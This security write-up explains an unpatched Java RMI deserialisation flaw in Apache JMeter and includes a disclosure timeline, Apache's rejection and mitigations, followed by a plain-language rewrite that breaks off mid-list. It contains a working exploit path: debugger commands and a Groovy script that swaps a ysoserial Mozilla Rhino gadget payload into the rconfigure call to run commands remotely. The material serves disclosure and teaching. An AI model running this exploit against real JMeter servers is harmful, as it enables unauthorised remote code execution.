Exploiting JMeter via RMI
Published on medium.com
This is the story of a trivial deserialization exploit in Apache JMeter via Remote Method Invocation (RMI). It still exists, it won’t be fixed, we are likely not the first to find it.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Apache JMeter describes itself as "a 100% pure Java application designed to load test functional behaviour and measure performance". In practice you write jobs for servers, the servers run the jobs and report back. A client controls the server over Java Remote Method Invocation (RMI), with a GUI on top to make the interaction easier.
RMI is the Java mechanism for calling methods on a remote server. The server exposes methods on a service and a client calls them remotely. To call a method the client must know its signature, that is the name and parameters of the available methods. It is not a one to one comparison, but RMI is close in spirit to a REST API: endpoints (methods) are exposed, calling them triggers an action on the server, and you usually need to know what an endpoint is called and what parameters it takes before you can invoke it.
Having an RMI service is not a security issue in itself. The problems are practical: RMI is not well known to pentesters, it leaves security to the developer, it is rarely encrypted, it provides no native authentication, it is nearly impossible to obfuscate (reverse engineering is trivial), and it relies on serialisation and deserialisation of objects.
A cursory search on Shodan showed about 400 instances of JMeter publicly accessible. More searching, such as checking for RMI on non standard ports, would likely find more exposed instances.
Setup
For a simple RMI use case you need an interface, an implementation and, arguably, a client. Both client and server hold a copy of the interface: the server to know what methods to expose, the client to know what methods to call. The example interface below exposes two methods, one with no parameters and one taking a String and a HashMap.
import java.rmi.Remote;import java.rmi.RemoteException;import java.util.HashMap;public interface ExampleRMIInterface extends Remote { String someRemoteMethod() throws RemoteException; String someOtherRemoteMethod(String someStringParameter, HashMap someHashMapParameter) throws RemoteException;}
The implementation is only needed by the server. Note that it is vulnerable to a deserialisation attack in someOtherRemoteMethod, even though the HashMap object is never used.
import interfaces.ExampleRMIInterface;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;import java.util.HashMap;public class ExampleRMIImplementation extends UnicastRemoteObject implements ExampleRMIInterface { public ExampleRMIImplementation() throws RemoteException { } @Override public String someRemoteMethod() throws RemoteException { return "Hello, the method without parameters was called"; } //It doesn't matter that the HashMap is never used. If a malicious HashMap is passed in, it will still trigger @Override public String someOtherRemoteMethod(String someStringParamenter, HashMap someHashMapParameter) throws RemoteException { return "Hello, the method with parameters was called"; }}
To register the implementation on the RMI registry so a client can call it, the server binds the object. There are many ways to bind an object to an RMI registry; this is how JMeter does it.
import implementation.ExampleRMIImplementation;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Server { //This is just here to keep the class from being garbage collected public static void main(String[] args) { try { ExampleRMIImplementation implementation = new ExampleRMIImplementation(); //Note there are many ways to bind an object to an RMI registry. This is how JMeter does it Registry reg = LocateRegistry.createRegistry(1099); reg.rebind("Name of remote object to show", implementation); System.err.println("Server ready"); Thread.currentThread().join(); //Keep it alive forever for simplicity } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } }}
From the network, a registry with the remote object listed looks like this in an nmap scan:
nmap [redacted] -p 1099 -Pn -n -AStarting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 09:54 PDTNmap scan report for 192.168.1.9Host is up (0.0019s latency).PORT STATE SERVICE VERSION1099/tcp open java-rmi Java RMI| rmi-dumpregistry: | Name of remote object to show| implements java.rmi.Remote, interfaces.ExampleRMIInterface, | extends| java.lang.reflect.Proxy| fields| Ljava/lang/reflect/InvocationHandler; h| java.rmi.server.RemoteObjectInvocationHandler| @[redacted]:53589| extends|_ java.rmi.server.RemoteObjectService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds
For completeness, a client for the above server looks like this. Exploiting the service does not require knowing anything about the client.
import interfaces.ExampleRMIInterface;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Client { public static void main(String[] args) { String host = "[redacted]"; try { Registry registry = LocateRegistry.getRegistry(host, 1099); System.out.println("Got the registry"); ExampleRMIInterface RMIObject = (ExampleRMIInterface) registry.lookup("Name of remote object to show"); System.out.println(RMIObject.someRemoteMethod()); System.out.println(RMIObject.someOtherRemoteMethod(null, null)); } catch (Exception e) { System.err.println("Client exception: " + e.toString()); e.printStackTrace(); } }}
Finding it
Exploiting RMI is not new. For detailed background, the work of Hans-Martin Münch on the subject is the reference, along with his YouTube video on RMI exploitation, which describes the attack vectors clearly. This write-up is a primer that expands on many of the techniques he created or described.
There are two common ways to exploit an RMI service: attacking the application logic and attacking it through deserialisation.
Attacking the application logic
RMI does not support authentication, and it falls to developers to implement any authentication or authorization they want. This can lead to methods being protected only by the application's client. An application may expose a login method and an update method; the client calls login first and, on success, allows the user to call update. Because RMI itself enforces no restrictions, if the developers have not implemented any either, it may be possible to invoke the update method directly without a successful login. In the tester's experience this is an extremely common pattern and has led to a number of exploits.
In JMeter's case a logic attack exists because authentication on the RMI calls is simply not present, so it is likely that anyone can invoke the RMI methods to control the server directly. That is not the approach taken here; the serialisation bug is the subject.
One more note on logic attacks: clients require a copy of the interface for a remote object, so decompiling an RMI client gives you an often obfuscated list of available methods and their parameters. Invoking those methods can often give a free win.
Attacking the application serialisation
It is surprisingly easy to attack most RMI applications via serialisation. Objects are sent over the wire in binary format and reconstituted elsewhere, and they can often be replaced with malicious ones for unexpected impact.
In Java, when deserializing a non-primitive or non-String type (basically any Object except String), Java triggers the default ObjectInput.readObject() method to read in a serialised object. The problem is that even before the object has finished being read in, methods in the object trigger as it is recreated. Chain together enough of these magic methods that fire before the object is fully read and you can get potent side effects, including remote code execution. These chains are known as gadget chains; ysoserial has good examples.
Plain Java has some native gadget chains, but it is rare for one to lead to high impact, although there is a universal DNS outbound gadget chain that is useful for proof of concept. Most dangerous gadget chains come from dependencies that add additional magic methods which can be abused; the most infamous comes with the Apache Commons library. Even without a high impact gadget chain an application can still be vulnerable to a deserialisation attack and should be fixed, because new gadget chains can be added later through code or dependency changes.
RMI: finding an exploit
Because RMI uses serialisation as its backbone, you need very little to find an exploitable target:
- Find a method exposed via RMI that takes in an object parameter, as long as it is not a String.
- There is no second requirement. The first item is all you need.
If a method meets that criterion and there is no serialisation filter in place (there probably is not), the application is vulnerable. To exploit it you need to connect to the RMI instance and find a meaningful gadget chain to give it impact.
JMeter's server exposes two such methods. The source of its RMI interface, from the Apache JMeter repository, is:
package org.apache.jmeter.engine;import java.io.File;import java.rmi.Remote;import java.rmi.RemoteException;import java.util.HashMap;import org.apache.jorphan.collections.HashTree;/** * This is the interface for the RMI server engine, i.e. {@link RemoteJMeterEngineImpl} */public interface RemoteJMeterEngine extends Remote { void rconfigure(HashTree testTree, String host, File jmxBase, String scriptName) throws RemoteException; void rrunTest() throws RemoteException, JMeterEngineException; void rstopTest(boolean now) throws RemoteException; void rreset() throws RemoteException; @SuppressWarnings("NonApiType") void rsetProperties(HashMap<String,String> p) throws RemoteException; void rexit() throws RemoteException;}
Here rconfigure, which takes a HashTree object and a File object, and rsetProperties, which takes a HashMap object, are both vulnerable. rstopTest takes a parameter but is not vulnerable, because the parameter is a primitive, which Java deserializes in a safe manner. Recognising unsafe deserialisation is useful, but proving impact helps demonstrate the risk, which leads to the search for a gadget chain.
Java gadget chains and finding the perfect one
Gadget chains in Java are a series of methods triggered automatically when an object deserializes, producing a desired effect. Java has at least one useful native gadget chain that makes outbound DNS connections, which lets you test an exploit before investing time in advanced gadget chains: the URLDNS payload in ysoserial.
Outbound DNS is good, RCE is better. With access to source code, the dependency file is usually a good place to check for known gadget chains. Failing that, finding a custom gadget chain is manual work, helped by tools such as Gadget Inspector. Running it against JMeter shows a gadget chain relying on Mozilla Rhino that looks very similar to one in ysoserial.
On investigation it is close enough to the original gadget chain to be a good lead, and a little searching turns up a prebuilt gadget chain for it in the Mozilla Rhino issue tracker. The issue is marked "won't fix" and comes complete with source code. Mozilla Rhino is fairly common, so this gadget chain is a good tool to have.
Exploitation
Putting this together for JMeter needs three things lined up:
- A copy of the RMI interface JMeter uses.
- JMeter using deserialisation in an unsafe way.
- A gadget chain that can be leveraged for meaningful exploitation.
Step 1: obtain the interface
The usual way to extract an RMI interface is decompiling a jar. JMeter is open source, so a quick search of the repository pointed to the RemoteJMeterEngine class. Searching for keywords like RemoteException is a surprisingly high fidelity way to find these interfaces when you know RMI is in use.
Step 2: confirm unsafe deserialisation
Checking the interface confirms JMeter uses unsafe deserialisation in multiple places: it has methods that rely on serialisation and take non-primitive, non-string objects. rconfigure is an excellent candidate because it looks unchanged through multiple versions of JMeter.
Step 3: find a gadget chain
A meaningful gadget chain is not immediately obvious, but one can be found with little effort. Gadget Inspector discovered the Mozilla Rhino gadget chain described above.
Step 4: build the exploit skeleton
Copy the interface from Apache JMeter into a new Java project, then copy in any other code and dependencies you need until the interface has no errors. Copy in the gadget chain as well. With the gadget chain and the RemoteJMeterEngine interface on your classpath, you can call remote JMeter methods on the victim. A plain invocation, nothing malicious yet, looks like this:
public static void main(String[] args) throws Exception { RemoteJMeterEngine jms = (RemoteJMeterEngine) reg.lookup("JMeterEngine"); //rsetProperties works, except the parameter changed in JMeter 5.1, so rconfigure is more stable HashTree testTree = new HashTree(); jms.rconfigure(testTree, null, null, null); //Rest ommitted}
rsetProperties works, but its parameter changed in JMeter 5.1, so rconfigure is the more stable choice.
Step 5: swap the object at runtime
Replace the HashTree with a malicious object at runtime, specifically the evil gadget chain. The easiest way is a debugger: replace whatever object the target is asking for, such as a HashMap, with a malicious object after validation. In concept this is similar to bypassing client-side validation with a proxy in web application testing. The technique is described in depth, with sample code, in the Mogwai Labs article on attacking Java RMI services after JEP 290.
Run the exploit, connect a debugger and replace the object on the fly. The commands look something like this:
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=[redacted]:8000 -jar JMeter_deserialization_poc.jarjava -jar youdebug.jar -socket [redacted]:8000 ../../src/main/java/groovy/evil_script.groovy
If all goes well, the application connects to the vulnerable registry, validates that it is sending an object matching the interface, then the debugger replaces that object with a malicious one and passes it on. As the object is deserialised it triggers a series of method calls, resulting in RCE.
Step 6: the 'Austin' optimisation
The above works, but the youdebug script provided by Hans-Martin Münch is slow when testing anywhere but a local network, because it places a lot of breakpoints. It can be sped up significantly by limiting where breakpoints are placed.
A coworker came up with an elegant solution: throw and catch a custom exception right before making the RMI call. That lets you hook the unique exception and set a single breakpoint immediately before the relevant method call, which speeds up execution significantly. Here is the change in Java and the corresponding debug script:
package groovy// This uses the techinque and source code described here:// https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290///Special thanks to Austin Munsch for making this magnitudes faster for this use casedef payloadName = "MozillaRhino3";def payloadCommand = "touch /tmp/singed4"def needle = "HashTree"println "Attempting to use payload: "+payloadNamevm.exceptionBreakpoint("ysoserial.payloads.TheAustin") { vm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") { println "[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called" // make sure that the payload class is loaded by the classloader of the debugee vm.loadClass("ysoserial.payloads." + payloadName); // get the Array of Objects that were passed as Arguments delegate."@2".eachWithIndex { arg, idx -> println "[+] Argument " + idx + ": " + arg[0].toString(); if (arg[0].toString().contains(needle)) { println "[+] Needle " + needle + " found, replacing String with payload" def payload = vm._new("ysoserial.payloads." + payloadName); def payloadObject = payload.getObject(payloadCommand) vm.ref("java.lang.reflect.Array").set(delegate."@2", idx, payloadObject); println "[+] Done.." } } } println("secondary breakpoint set")}println "Breakpoints set"%
It loads the payload class into the debuggee's classloader, walks the argument array, and when an argument's string form contains the needle HashTree it builds the payload object with the command and writes it into the argument array in place of the original object.
Root cause
RMI deserializes object parameters as they are read in, and JMeter's RemoteJMeterEngine interface accepts non-primitive, non-String parameters (HashTree, File, HashMap). There is no serialisation filter in place, so a malicious object supplied as an argument is deserialised and its gadget chain fires. The fact that the parameter is never used by the implementation does not matter: the deserialisation happens regardless.
Apache's position is that the deserialisation adds no additional impact. By default JMeter supports mutual TLS for the RMI port, and if an attacker cannot talk to the RMI port without a client certificate, the issue cannot be exploited. In the researcher's experience most administrators cannot figure out how to get two way TLS working and end up disabling it. Second, JMeter has no authentication at all if mutual TLS is disabled, and anyone can use the standard client to achieve RCE, which Apache considers intended behaviour. The architecture choices and the deserialisation are separate issues, so the deserialisation is not a priority; at most, no logs are created when using the deserialisation attack rather than the client to achieve RCE.
Impact
An attacker who can reach the RMI port on a JMeter instance with mutual TLS disabled can achieve remote code execution, either through the standard client or through the deserialisation attack described here. The deserialisation route leaves no logs. A cursory search on Shodan showed about 400 instances of JMeter publicly accessible, and more would likely be found with further searching. Apache does not view the issue as a vulnerability and has labelled it no fix.
Fix
Nothing was changed; Apache rejected the issue and considers mutual TLS the recommended solution. If you run JMeter, enable mutual TLS and put an IP allowlist in place to restrict access to the RMI port. JMeter's website has in the past suggested adding a process-wide serialisation filter when running the application. That can work, but filters are sometimes ineffective or incomplete, and it puts security on the client; people rarely add a serialisation filter to a jar they download from the internet. Other options are a Java Agent that restricts which objects are deserialised (see notsoserial), overriding some of Java's default methods as suggested by OWASP, or ensuring RMI methods only take primitives or strings as parameters. All of these present their own challenges, and there is no easy mitigation, patch or fix.
Variants to test
- Look for any RMI-exposed method that takes a non-primitive, non-String parameter. A positive result is an interface whose methods accept objects such as maps, trees or files, with no serialisation filter configured.
- Search source or decompiled clients for RemoteException to enumerate RMI interfaces quickly. A positive result is a list of remote methods and their parameter types.
- Send the URLDNS payload first to test the exploit. A positive result is an outbound DNS lookup from the target.
- Run Gadget Inspector against the target's dependencies. A positive result is a gadget chain in a library on the classpath, such as Mozilla Rhino.
- Try the debugger object swap on any RMI client you build. A positive result is the validated object being replaced by the payload and the payload command executing on the server.
- Check whether mutual TLS is actually enforced on the RMI port. A positive result is a successful connection and method invocation without a client certificate.
Timeline
- Jan 11, 2022: Reached out to Apache, received an acknowledgment they received the report back the same day.
- Jan 25, 2022: Reached back out to the vendor to see if they needed any additional information or help replicating. Vendor replies that they rejected the issue.
- Jan 25, 2022: Ask for more information, on why it was rejected, as I still feel it's a valid issue
- Feb 3, 2022: Reach out again, no response
- April 25th, 2022: File a ticket with CERT for assistance contacting Apache
- May 5th, 2022: Apache responds and explains reasoning behind rejection, ticket closed
TLDR
Apache JMeter gives trivial RCE both as a service and by exploiting the RMI channel it uses for communications. Configuring JMeter with mutual TLS is Apache's recommended solution, but it is not commonly implemented in practice, it can be hard to do well, and anything that bypasses it can still lead to RCE. Apache does not view this as an issue. There is no easy mitigation, patch or fix. If you use Apache JMeter, be aware of the potential risks.
What happened, in plain words
Apache JMeter is a free tool that companies use to test how well their websites and servers cope with lots of visitors at once. You tell JMeter what to do, it runs those jobs against your servers, and it reports back how fast everything was. To control JMeter from another computer, people use a Java feature called RMI, which lets one program call functions inside another program running on a different machine.
The researcher found that JMeter accepts certain kinds of data over that RMI connection without checking it properly. An attacker who can reach the RMI connection can send a specially crafted piece of data that, when JMeter unpacks it, runs commands of the attacker's choosing on the server. That is remote code execution, usually shortened to RCE: someone else gets to run their own programs on your machine.
The researcher reported this to Apache, the organisation that maintains JMeter, in January 2022. Apache rejected the report. Their reasoning, explained later, is that JMeter already offers a strong protection called mutual TLS, and that if you turn that protection off, anyone can control JMeter anyway, so the unpacking trick adds nothing new. Apache labelled the issue "no fix". The researcher still felt it was a valid issue, and wrote this article to explain the risk to people who run JMeter and to people who test systems for a living.
This article walks through the whole story from zero: what JMeter and RMI are, how the flaw works, how an exploit is built, why Apache said no, and what you can do about it if JMeter is running in your company.
Background on JMeter
Apache JMeter describes itself, in its own words, as:
a 100% pure Java application designed to load test functional behaviour and measure performance
"Pure Java" means it is written entirely in the Java programming language and runs on the Java runtime that many computers already have. "Load test" means pretending to be many users at once, to see whether a server stays fast or falls over. "Functional behaviour" means checking that the features actually work, not just that they are quick.
In practical terms, you write jobs for servers, the servers run the jobs, and then they report back. A client controls the server over Java Remote Method Invocation (RMI), with a graphical interface (a GUI, the windows and buttons you click) on top to make the interaction easier.
JMeter is very popular for performance testing. A quick search on Shodan, a website that works like a search engine for internet-connected devices and services, showed about 400 instances of JMeter that were publicly accessible. With more searching, such as checking for RMI on non standard ports (ports other than the usual ones), one would likely find more exposed instances.
Background on RMI
The Java Remote Method Invocation (RMI) protocol is a tool provided by Java for calling methods on a remote server. A "method" is simply a named piece of code that does something, like login or update. At its core, the server exposes methods on a service, and then a client can call those methods remotely, as if they were local.
To call a remote method, the client has to know the method's signature: the name and the parameters (the inputs) of the available methods. It is not exactly a one to one comparison, but it is fair to think of Java's RMI in a similar fashion to a REST API. An API (Application Programming Interface) is the set of doors a program offers to other programs: you knock on a named door, hand over some information, and something happens inside. With RMI, endpoints (methods) are exposed, calling those methods triggers some action on the server, and you usually need to know what an endpoint is called and what parameters it takes before you can invoke it.
Having a Java RMI service is not a security issue in itself, as it is just a way to call a remote method. However, in the researcher's experience, RMI has several practical problems:
- it is not well known to pentesters (people who are paid to break into systems with permission, to find weaknesses before criminals do);
- it leaves security to the developer;
- it is rarely encrypted, so anyone who can watch the network traffic can read it;
- it provides no native authentication, meaning it has no built-in way to check who is calling;
- it is nearly impossible to obfuscate (to make hard to read), so reverse engineering it is trivial;
- it relies on serialisation and deserialisation of objects.
Serialisation is the process of turning a live object in a program's memory into a stream of bytes that can travel over a network or be saved to disk. Deserialisation is the reverse: taking those bytes and rebuilding the object on the other side. Think of it like flat-packing a piece of furniture, shipping the box, and reassembling it at the destination. The danger, as we will see, is that the reassembly instructions can be tampered with.
Below is an example of what a simple RMI interface and a corresponding implementation might look like in code. Oracle, the company behind Java, provides a good example as well, and most of the code below is adapted from there. For a simple RMI use case, you need an interface, an implementation, and (arguably) a client.
Example Interface
This is an example interface. To be useful, both a client and a server will have a copy of this code. The server has it to know what methods to expose, the client has it to know what methods to call.
In this case, a server will expose two methods: one takes no parameters, and one takes two, a String (a piece of text) and a HashMap (a dictionary-like object that stores pairs of keys and values). At this point you may be wondering if these signatures can be brute forced by a malicious client, that is, guessed by trying every possibility. They can, but there is usually an easier way: decompiling, which means turning compiled program files back into readable source code.
import java.rmi.Remote;import java.rmi.RemoteException;import java.util.HashMap;public interface ExampleRMIInterface extends Remote { String someRemoteMethod() throws RemoteException; String someOtherRemoteMethod(String someStringParameter, HashMap someHashMapParameter) throws RemoteException;}
Line by line:
import java.rmi.Remote;brings in Java'sRemotemarker, which tells Java that this interface describes something callable from another machine.import java.rmi.RemoteException;brings in the error type that remote calls can throw when the network or the other side fails.import java.util.HashMap;brings in the HashMap class, the dictionary object used as a parameter below.public interface ExampleRMIInterface extends Remote {declares a public interface, a contract listing method names and inputs, and says it extendsRemote, so it can be used over RMI.String someRemoteMethod() throws RemoteException;declares a method with no inputs that returns text and may fail with a remote error.String someOtherRemoteMethod(String someStringParameter, HashMap someHashMapParameter) throws RemoteException;declares a method that takes a piece of text and a HashMap, returns text, and may fail with a remote error.
Implementation
The below is the actual implementation of the methods. The important takeaways here are:
- The implementation is only needed by the server.
- The implementation is vulnerable to a deserialisation attack in someOtherRemoteMethod, even though the HashMap object is never used.
import interfaces.ExampleRMIInterface;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;import java.util.HashMap;public class ExampleRMIImplementation extends UnicastRemoteObject implements ExampleRMIInterface { public ExampleRMIImplementation() throws RemoteException { } @Override public String someRemoteMethod() throws RemoteException { return "Hello, the method without parameters was called"; } //It doesn't matter that the HashMap is never used. If a malicious HashMap is passed in, it will still trigger @Override public String someOtherRemoteMethod(String someStringParamenter, HashMap someHashMapParameter) throws RemoteException { return "Hello, the method with parameters was called"; }}
Line by line:
- The
importlines bring in the interface, the remote error type,UnicastRemoteObject(a Java helper that makes an object available over the network), andHashMap. public class ExampleRMIImplementation extends UnicastRemoteObject implements ExampleRMIInterface {declares the real class that does the work. It inherits networking behaviour fromUnicastRemoteObjectand promises to honour the interface contract.public ExampleRMIImplementation() throws RemoteException { }is the constructor, the code that runs when the object is created. It can fail with a remote error.@Override public String someRemoteMethod() ...implements the no-parameter method and simply returns a greeting message.- The comment explains the key point: it does not matter that the HashMap is never used. If a malicious HashMap is passed in, it will still trigger.
@Override public String someOtherRemoteMethod(String someStringParamenter, HashMap someHashMapParameter) ...implements the two-parameter method. Notice that the body ignores both inputs and just returns a message. The vulnerability is not in the body; it is in the fact that Java must rebuild the HashMap from bytes as the object is read in.
Then, to register your implementation on the RMI registry and make it so that it can be called by a client, you can use code like the following. A registry is a directory service: it keeps a list of names and the remote objects they point to, so clients can look them up by name.
import implementation.ExampleRMIImplementation;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Server { //This is just here to keep the class from being garbage collected public static void main(String[] args) { try { ExampleRMIImplementation implementation = new ExampleRMIImplementation(); //Note there are many ways to bind an object to an RMI registry. This is how JMeter does it Registry reg = LocateRegistry.createRegistry(1099); reg.rebind("Name of remote object to show", implementation); System.err.println("Server ready"); Thread.currentThread().join(); //Keep it alive forever for simplicity } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } }}
Line by line:
- The
importlines bring in the implementation class and the two registry helpers,LocateRegistryandRegistry. public class Server {declares the program that starts the server side.public static void main(String[] args) {is the entry point, the first thing Java runs.try {starts a block where errors are caught rather than crashing the program.ExampleRMIImplementation implementation = new ExampleRMIImplementation();creates the remote object.Registry reg = LocateRegistry.createRegistry(1099);starts a registry listening on port 1099, the conventional RMI port. A port is a numbered door on a computer that a particular service listens behind.reg.rebind("Name of remote object to show", implementation);publishes the object under a name, so clients can find it. "Rebind" means bind, replacing any previous entry with the same name.System.err.println("Server ready");prints a message to the error output so you know it started.Thread.currentThread().join();makes the program wait on itself forever, keeping it alive for simplicity.- The
catchblock prints any error and its stack trace, a list of where the error happened.
What this looks like from the network
At this point, you now have a registry running with your remote object available and listed. This is what the above code looks like from an nmap scan. Nmap is a free tool that probes a machine's ports and reports what is listening; the flags used here mean: -p 1099 check port 1099, -Pn skip the initial ping check, -n do not resolve names, -A turn on aggressive detection of services and versions.
nmap [redacted] -p 1099 -Pn -n -AStarting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 09:54 PDTNmap scan report for 192.168.1.9Host is up (0.0019s latency).PORT STATE SERVICE VERSION1099/tcp open java-rmi Java RMI| rmi-dumpregistry: | Name of remote object to show| implements java.rmi.Remote, interfaces.ExampleRMIInterface, | extends| java.lang.reflect.Proxy| fields| Ljava/lang/reflect/InvocationHandler; h| java.rmi.server.RemoteObjectInvocationHandler| @[redacted]:53589| extends|_ java.rmi.server.RemoteObjectService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds
What this output tells you:
- The first line is the command that was run against the address
[redacted]. 1099/tcp open java-rmi Java RMIsays port 1099 is open and nmap recognises the service as Java RMI.- The
rmi-dumpregistrysection lists what the registry contains. Here it shows the nameName of remote object to show, the interface it implements, and internal details of how the remote reference is represented, including a second port (53589) where the actual object is reachable. - The final lines report that the scan finished in 6.62 seconds.
Client code
To exploit this, you do not need to know anything about the client, but for completeness, here is what a client would look like for the above server.
import interfaces.ExampleRMIInterface;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Client { public static void main(String[] args) { String host = "[redacted]"; try { Registry registry = LocateRegistry.getRegistry(host, 1099); System.out.println("Got the registry"); ExampleRMIInterface RMIObject = (ExampleRMIInterface) registry.lookup("Name of remote object to show"); System.out.println(RMIObject.someRemoteMethod()); System.out.println(RMIObject.someOtherRemoteMethod(null, null)); } catch (Exception e) { System.err.println("Client exception: " + e.toString()); e.printStackTrace(); } }}
Line by line:
- The
importlines bring in the interface and the registry helpers. String host = "[redacted]";sets the address of the server to contact.Registry registry = LocateRegistry.getRegistry(host, 1099);connects to the registry on that host and port.ExampleRMIInterface RMIObject = (ExampleRMIInterface) registry.lookup("Name of remote object to show");asks the registry for the object by name and treats it as the interface type. The cast in brackets tells Java what shape to expect.System.out.println(RMIObject.someRemoteMethod());calls the no-parameter method and prints the result.System.out.println(RMIObject.someOtherRemoteMethod(null, null));calls the two-parameter method, passingnull(nothing) for both inputs, and prints the result.- The
catchblock prints any error.
Background on exploiting
Exploiting RMI is not new. For more detailed information, the researcher recommends reading the work done by Hans-Martin Münch on the subject, or watching his YouTube video on RMI exploitation. He does an exceptional job describing attack vectors of RMI in a clear fashion. This article can serve as a primer, but it expands on many of the techniques that Hans-Martin has created or described in depth.
In general, there are two common ways to exploit an RMI service: attacking the application logic, and attacking it through deserialisation.
Attacking the application logic
In terms of attacking application logic, RMI does not support authentication, and it falls to developers to implement any form of authentication or authorization that they want for their applications. Authentication means proving who you are; authorization means deciding what you are allowed to do. This can lead to the authentication of methods only being enforced by the application's client.
An example: an application may expose a login method and an update method. The client calls the login method first, and then, upon successful authentication, allows the user to call the update method. The problem arises because RMI itself does not enforce any restrictions, and if the developers have not implemented any restrictions themselves, it may be possible to invoke the update method directly without first successfully invoking the login method. In the tester's experience, this is an extremely common pattern, and it has led to a number of exploits. The everyday comparison is a nightclub where the bouncer checks your ticket at the front door, but the door to the dance floor has no lock: if you know where it is, you can walk straight in.
In the case of JMeter, an attack on the application logic does exist because authentication on the RMI calls is simply not present. This means it is likely that anyone can invoke the RMI methods to directly control the server, although this is not the approach taken in this article; the serialisation bug is the subject.
One last note on logic attacks via RMI: clients require a copy of the interface for a remote object, so decompiling an RMI client can give you an (often obfuscated) list of available methods and their parameters. From here, invoking these methods can often give a free win.
Attacking the application serialisation
It is surprisingly easy to attack most RMI applications via serialisation. If you are unfamiliar with serialisation, it is worth reading up on it first. In short, objects can be sent over the wire in binary format and then reconstituted somewhere else. These objects can often be replaced with malicious ones for unexpected impact.
In Java, when deserializing a non-primitive type or a non-String type (basically any Object except String), Java will trigger the default ObjectInput.readObject() method to read in a serialised object. A primitive is a basic value such as a number or a true/false flag; a String is text. Everything else is an object, a bundle of data and code. Where this becomes a problem is that even before the object has finished being read in, methods in the object will trigger as the object is being recreated. If you put together a number of these "magic methods" that trigger before the object is done being read, you can get potent side effects, including remote code execution. These chains of magic methods are known as "gadget chains". The ysoserial project has some good examples of these.
In plain Java, there are some native gadget chains, but it is rare for one to lead to high impact, although there is a universal DNS outbound gadget chain that is useful for proof of concept. DNS is the system that turns a website name into an address; an outbound DNS lookup is a way of making the target contact a server you control, which is useful for proof of concept. Most dangerous gadget chains are introduced through dependencies, that is, extra libraries a program relies on, which add additional magic methods that can be abused. The most infamous of these comes with the Apache Commons library.
It is worth noting that even if you do not have a high impact gadget chain, an application can still be vulnerable to a deserialisation attack and should be fixed. New gadget chains can also be added down the road with code or dependency changes.
RMI: Finding an exploit
As RMI uses serialisation as its backbone, you do not need much to find an exploitable target. You only need:
- To find a method exposed via RMI that takes in an object parameter (as long as it is not a String).
- There is no second requirement. The first item is all you need.
If you can find a method that meets the criteria, and there is no serialisation filter in place (spoiler alert: there probably is not), you have got a vulnerable application. A serialisation filter is a guard that inspects incoming objects and refuses dangerous ones. To exploit it, you just need to be able to connect to the RMI instance, and find a meaningful gadget chain to give it impact.
It turns out that JMeter's server exposes two such methods. The source code of its RMI interface is copied below for convenience, from the Apache JMeter repository on GitHub.
package org.apache.jmeter.engine;import java.io.File;import java.rmi.Remote;import java.rmi.RemoteException;import java.util.HashMap;import org.apache.jorphan.collections.HashTree;/** * This is the interface for the RMI server engine, i.e. {@link RemoteJMeterEngineImpl} */public interface RemoteJMeterEngine extends Remote { void rconfigure(HashTree testTree, String host, File jmxBase, String scriptName) throws RemoteException; void rrunTest() throws RemoteException, JMeterEngineException; void rstopTest(boolean now) throws RemoteException; void rreset() throws RemoteException; @SuppressWarnings("NonApiType") void rsetProperties(HashMap<String,String> p) throws RemoteException; void rexit() throws RemoteException;}
Line by line:
package org.apache.jmeter.engine;says which folder-like group of classes this file belongs to.- The
importlines bring inFile(a file on disk),RemoteandRemoteException,HashMap, andHashTree(a tree-shaped collection from a JMeter helper library). - The comment block explains that this is the interface for the RMI server engine.
public interface RemoteJMeterEngine extends Remote {declares the remote contract.void rconfigure(HashTree testTree, String host, File jmxBase, String scriptName) throws RemoteException;is the method that configures a test. It takes a tree object, some text, a file and more text. The tree and the file are objects, which is what matters.void rrunTest() ...starts a test.void rstopTest(boolean now) ...stops a test. Its input is a boolean, a primitive, so it is safe.void rreset() ...resets the engine.void rsetProperties(HashMap<String,String> p) ...sets properties from a dictionary of text to text. The dictionary is an object, so this one is also interesting.void rexit() ...shuts the engine down.
In this case, the rconfigure method, which takes in a HashTree object and File object, and the rsetProperties method, which takes in a HashMap object, are both vulnerable. The rstopTest method takes in a parameter, but it is not vulnerable as the parameter is a primitive, which Java deserializes in a safe manner. Recognising that the application deserializes objects in an unsafe manner is useful, but often proving impact is helpful in demonstrating a risk. That brings us to searching for a gadget chain to exploit the serialisation meaningfully.
Java gadget chains and finding the perfect one
As briefly noted above, gadget chains in Java are a series of methods that get triggered automatically when an object deserializes, to have some desired effect. Java has at least one useful native gadget chain that lets you make outbound DNS connections. This lets you test an exploit before investing more time looking for advanced gadget chains. You can see this chain in the URLDNS payload in ysoserial.
While outbound DNS is good, RCE is better. If you have access to source code, the dependency file is usually a good place to check for known gadget chains. Failing that, finding a custom gadget chain is a manual process. There are tools that can help, such as Gadget Inspector. Running this tool against JMeter shows a gadget chain relying on Mozilla Rhino that looks very similar to one in ysoserial. Mozilla Rhino is a JavaScript engine written in Java, a library that lets Java programs run JavaScript code.
Upon investigation, this is close enough to the original gadget chain that it seems like a good lead, and a little searching turns up a prebuilt gadget chain for it in the Mozilla Rhino issue tracker. The issue is marked as "won't fix" and comes complete with source code. The researcher has used this gadget chain more than once, and as Mozilla Rhino is fairly common, it is a good tool to have.
Putting it all together in JMeter
To put all this together in a meaningful exploit for JMeter, we need a few things lined up:
- We need a copy of the RMI interface JMeter uses.
- JMeter needs to be using deserialisation in an unsafe way.
